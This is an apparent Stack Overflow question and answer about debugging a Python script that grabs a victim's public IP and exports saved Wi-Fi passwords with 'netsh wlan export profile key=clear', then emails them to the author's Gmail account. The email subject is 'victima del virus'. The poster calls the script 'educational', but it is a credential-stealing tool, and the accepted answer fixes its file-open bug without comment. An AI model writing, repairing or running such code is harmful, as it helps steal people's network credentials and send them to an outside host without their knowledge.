1

im spanish so some parts of the code are in spanish

im making a app that sends me to me mail the public ip and wifi password of the person who executed the code (its a educational porpouse proyect)

it gives me this error :

File "crack part 1.py", line 23, in f = str(open("C:"+"/red inalambrica-",reques,".xml", "r")) TypeError: an integer is required (got type str)

my code in PYTHON 3.8.1

#748273879318792 try of do a ext. ip address email sent and not working

#finally it worked

import subprocess

requests = "requests"

subprocess.call(['pip', 'install', requests])

from requests import get

import smtplib

ip = str(get('https://api.ipify.org').text)

y = "C:"

reques = str(input("pon el nombre de tu red : "))

x = str(subprocess.call(['netsh', 'wlan', "export", "profile", "key=clear", "folder=", y]))

f = open("C:"+"/red inalambrica-",reques,".xml", "r")

TO = '[email protected]'
SUBJECT = 'victima del virus'

TEXT = ip, data

    # Gmail Sign In
gmail_sender = '[email protected]'
gmail_passwd = '1230984567'

server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login(gmail_sender, gmail_passwd)

BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: %s' % SUBJECT,str(TEXT)])

try:
    server.sendmail(gmail_sender, [TO], BODY)
    print ('email sent')
except:
    print ('error sending mail')
    server.quit()
3
  • Please don't edit your original question into a completely new question. Please accept the solution if it solved your original problem and ask another question Commented Jan 9, 2020 at 18:33
  • Please don't edit questions in ways that invalidate existing answers. Commented Jan 9, 2020 at 20:47
  • Please don't add 'solved' or 'fixed'. Either post the answer and accept either accept the existing answer. If it was a typo or not reproductible, then delete your post, or put at least a comment about Commented Feb 4, 2020 at 2:07

1 Answer 1

1

You need to concatenate the string in your call to open instead of separating it with commas.

The builtin open function accepts many optional arguments:

open(file, mode='r', buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None)

The way you are currently calling it is:

f = open("C:"+"/red inalambrica-",reques,".xml", "r")

which sets file="C:/red inalambrica-", mode=reques, buffering=".xml", and encoding="r"... which is clearly gibberish.

The error is caused when it tries to set the buffering keyword (which should indicate the integer number of bytes to allocate to the buffer) to the string ".xml".

Replace your call with this:

f = open("C:" + "/red inalambrica-" + reques + ".xml", "r")

or

f = open(f"C:/red inalambrica-{reques}.xml", "r")

if you are using python 3.6 or higher.

Sign up to request clarification or add additional context in comments.

4 Comments

another error : line 42 , SyntaxError unexpected eof while parsing
You get that when you have unmatched parens or quotations.
anyone see a error?? i checked it 10 times and all is matched and nothing be to error
i half-fixed the error cuz the try: function was not working but How To Fix IT?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.